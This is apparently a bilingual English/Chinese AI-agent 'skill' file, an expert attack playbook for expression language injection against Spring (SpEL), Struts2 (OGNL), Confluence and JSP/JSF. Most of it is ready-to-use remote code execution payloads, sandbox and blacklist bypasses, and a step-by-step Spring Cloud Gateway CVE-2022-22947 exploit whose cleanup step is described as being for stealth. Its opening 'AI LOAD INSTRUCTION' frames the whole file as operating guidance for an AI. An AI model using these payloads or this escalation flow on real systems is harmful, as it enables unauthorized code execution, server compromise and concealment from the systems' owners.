expression-language-injection

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: Expression Language Injection — Expert Attack Playbook

SKILL: 表达式语言注入 — 专家级攻击手册

AI LOAD INSTRUCTION: Expert EL injection techniques covering SpEL (Spring), OGNL (Struts2), and Java EL (JSP/JSF). Distinct from SSTI — EL injection targets expression evaluators in Java frameworks, not template engines. Covers sandbox bypass,
_memberAccess
manipulation, actuator abuse, and real-world CVE chains.
AI加载说明:涵盖SpEL(Spring)、OGNL(Struts2)和Java EL(JSP/JSF)的专家级EL注入技术。与SSTI不同——EL注入的目标是Java框架中的表达式求值器,而非模板引擎。内容涵盖沙箱绕过、
_memberAccess
操作、actuator滥用以及真实场景的CVE利用链。

0. RELATED ROUTING

0. 相关导航

  • ssti-server-side-template-injection for template engines (Jinja2, FreeMarker, Twig) — different attack surface
  • jndi-injection when EL evaluation leads to JNDI lookup
Key distinction: SSTI targets template rendering engines; EL injection targets expression evaluators embedded in Java frameworks. They share detection probes (
${7*7}
) but diverge in exploitation.

  • ssti-server-side-template-injection 对应模板引擎(Jinja2、FreeMarker、Twig)的攻击场景——不同的攻击面
  • jndi-injection 对应EL求值触发JNDI lookup的场景
核心区别:SSTI的目标是模板渲染引擎;EL注入的目标是嵌入在Java框架中的表达式求值器。二者使用相同的探测语句(
${7*7}
)但利用方式完全不同。

1. DETECTION — POLYGLOT PROBES

1. 检测 — 通用探测语句

text
${7*7}              → 49 = SpEL, OGNL, or Java EL
#{7*7}              → 49 = SpEL (alternative syntax) or JSF EL
%{7*7}              → 49 = OGNL (Struts2)
${T(java.lang.Math).random()}  → random float = SpEL confirmed
%{#context}         → object dump = OGNL confirmed
text
${7*7}              → 返回49 = SpEL、OGNL或Java EL
#{7*7}              → 返回49 = SpEL(备选语法)或JSF EL
%{7*7}              → 返回49 = OGNL(Struts2)
${T(java.lang.Math).random()}  → 返回随机浮点数 = 确认存在SpEL
%{#context}         → 返回对象转储内容 = 确认存在OGNL

Disambiguation

类型区分

Response to
${7*7}
Response to
%{7*7}
Engine
49literal
%{7*7}
SpEL or Java EL
literal
${7*7}
49OGNL (Struts2)
4949Both may be active

${7*7}
的响应
%{7*7}
的响应
对应引擎
49原样返回
%{7*7}
SpEL或Java EL
原样返回
${7*7}
49OGNL(Struts2)
4949两种引擎均可能启用

2. SpEL (SPRING EXPRESSION LANGUAGE)

2. SpEL(SPRING EXPRESSION LANGUAGE)

Where SpEL Appears

SpEL出现的场景

  • @Value("${...}")
    annotations
  • Spring Security expressions (
    @PreAuthorize
    )
  • Spring Cloud Gateway route predicates and filters
  • Thymeleaf
    th:text="${...}"
    (when combined with
    __${...}__
    preprocessing)
  • Spring Data
    @Query
    with SpEL
  • @Value("${...}")
    注解
  • Spring Security表达式(
    @PreAuthorize
  • Spring Cloud Gateway路由断言和过滤器
  • Thymeleaf
    th:text="${...}"
    (结合
    __${...}__
    预处理时)
  • Spring Data
    @Query
    搭配SpEL使用时

RCE via Runtime.exec

通过Runtime.exec实现RCE

java
${T(java.lang.Runtime).getRuntime().exec("id")}
java
${T(java.lang.Runtime).getRuntime().exec("id")}

RCE with Output Capture (Commons IO)

带输出捕获的RCE(Commons IO)

java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}
java
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("id").getInputStream())}

RCE with Output Capture (Spring StreamUtils)

带输出捕获的RCE(Spring StreamUtils)

java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}
java
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}

ProcessBuilder (alternative when Runtime is blocked)

ProcessBuilder(Runtime被拦截时的备选方案)

java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}
java
${new java.lang.ProcessBuilder(new String[]{"id"}).start()}

Spring Cloud Gateway — CVE-2022-22947

Spring Cloud Gateway — CVE-2022-22947

Exploit via actuator to add malicious route with SpEL filter:
bash
undefined
通过actuator添加携带SpEL过滤器的恶意路由实现利用:
bash
undefined

Step 1: Add route with SpEL in filter (with output capture)

步骤1:添加过滤器中携带SpEL的路由(包含输出捕获逻辑)

POST /actuator/gateway/routes/hacktest Content-Type: application/json { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}" } }], "uri": "http://example.com", "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}] }
POST /actuator/gateway/routes/hacktest Content-Type: application/json { "id": "hacktest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream()))}" } }], "uri": "http://example.com", "predicates": [{"name": "Path", "args": {"_genkey_0": "/hackpath"}}] }

Step 2: Refresh routes to apply

步骤2:刷新路由使配置生效

POST /actuator/gateway/refresh
POST /actuator/gateway/refresh

Step 3: Trigger the route

步骤3:触发路由执行

GET /hackpath
GET /hackpath

Response header "Result" contains command output

响应头"Result"会包含命令执行结果

Step 4: Clean up (important for stealth)

步骤4:清理痕迹(隐匿攻击的关键步骤)

DELETE /actuator/gateway/routes/hacktest POST /actuator/gateway/refresh
undefined
DELETE /actuator/gateway/routes/hacktest POST /actuator/gateway/refresh
undefined

SpEL Sandbox Bypass

SpEL沙箱绕过

When
SimpleEvaluationContext
is used (restricts
T()
operator):
java
// Try reflection-based bypass:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

当使用
SimpleEvaluationContext
(限制
T()
运算符)时:
java
// 尝试基于反射的绕过方案:
${''.class.forName('java.lang.Runtime').getMethod('exec',''.class).invoke(''.class.forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'id')}

3. OGNL (OBJECT-GRAPH NAVIGATION LANGUAGE)

3. OGNL(OBJECT-GRAPH NAVIGATION LANGUAGE)

Where OGNL Appears

OGNL出现的场景

  • Apache Struts2 — primary OGNL consumer
  • Confluence Server — uses OGNL in certain request paths
  • Any Java app using
    ognl.Ognl.getValue()
    or
    ognl.Ognl.setValue()
  • Apache Struts2 — 最主要的OGNL使用方
  • Confluence Server — 特定请求路径中使用OGNL
  • 任何使用
    ognl.Ognl.getValue()
    ognl.Ognl.setValue()
    的Java应用

Basic RCE

基础RCE

%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}
%{(#cmd='id').(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec(#cmd))}

Struts2 Sandbox Bypass — _memberAccess Manipulation

Struts2沙箱绕过 — _memberAccess操作

Struts2 restricts OGNL via
SecurityMemberAccess
. Classic bypass clears restrictions:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Struts2通过
SecurityMemberAccess
限制OGNL权限,经典绕过方案可清除限制:
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

Struts2 OgnlUtil Blacklist Clear

Struts2 OgnlUtil黑名单清除

Later Struts2 versions use class/package blacklists. Bypass by clearing
excludedClasses
and
excludedPackageNames
:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}
更高版本的Struts2使用类/包黑名单限制,可通过清空
excludedClasses
excludedPackageNames
绕过:
%{(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#cmd='id').(#rt=@java.lang.Runtime@getRuntime().exec(#cmd))}

Key Struts2 CVEs

关键Struts2 CVE

CVEVectorPayload Location
S2-045 (CVE-2017-5638)Content-Type header
%{...}
in Content-Type
S2-046 (CVE-2017-5638)Multipart filenameOGNL in upload filename
S2-016 (CVE-2013-2251)
redirect:
/
redirectAction:
prefix
URL parameter
S2-048 (CVE-2017-9791)Struts ShowcaseActionMessage with OGNL
S2-057 (CVE-2018-11776)Namespace OGNLURL path
CVE攻击向量Payload位置
S2-045 (CVE-2017-5638)Content-Type请求头Content-Type中的
%{...}
S2-046 (CVE-2017-5638)多部分上传文件名上传文件名中的OGNL
S2-016 (CVE-2013-2251)
redirect:
/
redirectAction:
前缀
URL参数
S2-048 (CVE-2017-9791)Struts Showcase携带OGNL的ActionMessage
S2-057 (CVE-2018-11776)命名空间OGNLURL路径

Confluence OGNL — CVE-2021-26084

Confluence OGNL — CVE-2021-26084

Confluence Server allows OGNL injection via the
queryString
or action parameters:
bash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027
Confluence Server可通过
queryString
或action参数实现OGNL注入:
bash
POST /pages/createpage-entervariables.action
Content-Type: application/x-www-form-urlencoded

queryString=%5cu0027%2b%7b3*3%7d%2b%5cu0027

URL-decoded: \u0027+{3*3}+\u0027

URL解码后: \u0027+{3*3}+\u0027

If response contains 9 → confirmed

如果响应包含9 → 确认存在漏洞

Escalate to Runtime.exec for RCE

可升级为Runtime.exec实现RCE


---

---

4. JAVA EL (JSP / JSF)

4. JAVA EL (JSP / JSF)

Where Java EL Appears

Java EL出现的场景

  • JSP pages:
    ${expression}
    and
    #{expression}
  • JSF (JavaServer Faces): value and method bindings
  • Custom tag libraries
  • JSP页面:
    ${expression}
    #{expression}
  • JSF (JavaServer Faces): 值和方法绑定
  • 自定义标签库

RCE Payloads

RCE Payload

java
// Java EL with Runtime:
${Runtime.getRuntime().exec("id")}

// Via pageContext (JSP):
${pageContext.request.getServletContext().getClassLoader()}

// Reflection-based:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

java
// 基于Runtime的Java EL:
${Runtime.getRuntime().exec("id")}

// 通过pageContext(JSP):
${pageContext.request.getServletContext().getClassLoader()}

// 基于反射的实现:
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

5. DETECTION METHODOLOGY

5. 检测方法

Input reflected and ${7*7} returns 49?
├── Java application?
│   ├── Struts2? → Try %{...} OGNL payloads
│   │   └── Check Content-Type injection (S2-045)
│   ├── Spring? → Try T(java.lang.Runtime) SpEL
│   │   └── Check /actuator/gateway (Spring Cloud Gateway)
│   ├── Confluence? → Try OGNL via action parameters
│   └── JSP/JSF? → Try Java EL payloads
├── Error messages reveal framework?
│   ├── "ognl.OgnlException" → OGNL
│   ├── "SpelEvaluationException" → SpEL
│   └── "javax.el.ELException" → Java EL
└── Blocked by sandbox?
    ├── OGNL: clear _memberAccess / excludedClasses
    ├── SpEL: reflection bypass for SimpleEvaluationContext
    └── Try alternative exec methods (ProcessBuilder, ScriptEngine)

输入被反射且${7*7}返回49?
├── 是Java应用?
│   ├── 是Struts2? → 尝试%{...}格式的OGNL payload
│   │   └── 检查Content-Type注入(S2-045)
│   ├── 是Spring? → 尝试T(java.lang.Runtime)格式的SpEL
│   │   └── 检查/actuator/gateway(Spring Cloud Gateway)
│   ├── 是Confluence? → 尝试通过action参数注入OGNL
│   └── 是JSP/JSF? → 尝试Java EL payload
├── 错误信息暴露了框架?
│   ├── 包含"ognl.OgnlException" → OGNL
│   ├── 包含"SpelEvaluationException" → SpEL
│   └── 包含"javax.el.ELException" → Java EL
└── 被沙箱拦截?
    ├── OGNL: 清空_memberAccess / excludedClasses
    ├── SpEL: 针对SimpleEvaluationContext的反射绕过
    └── 尝试备选执行方法(ProcessBuilder、ScriptEngine)

6. QUICK REFERENCE

6. 快速参考

text
undefined
text
undefined

SpEL RCE:

SpEL RCE:

${T(java.lang.Runtime).getRuntime().exec("id")}
${T(java.lang.Runtime).getRuntime().exec("id")}

OGNL RCE (Struts2):

OGNL RCE (Struts2):

%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

OGNL with sandbox bypass:

带沙箱绕过的OGNL RCE:

%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}
%{(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))}

Java EL RCE:

Java EL RCE:

${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}

Confluence CVE-2021-26084 probe:

Confluence CVE-2021-26084 探测语句:

queryString=\u0027%2b{3*3}%2b\u0027
queryString=\u0027%2b{3*3}%2b\u0027

Spring Cloud Gateway CVE-2022-22947:

Spring Cloud Gateway CVE-2022-22947:

POST /actuator/gateway/routes/x → SpEL in filter args POST /actuator/gateway/refresh
undefined
POST /actuator/gateway/routes/x → 过滤器参数中的SpEL POST /actuator/gateway/refresh
undefined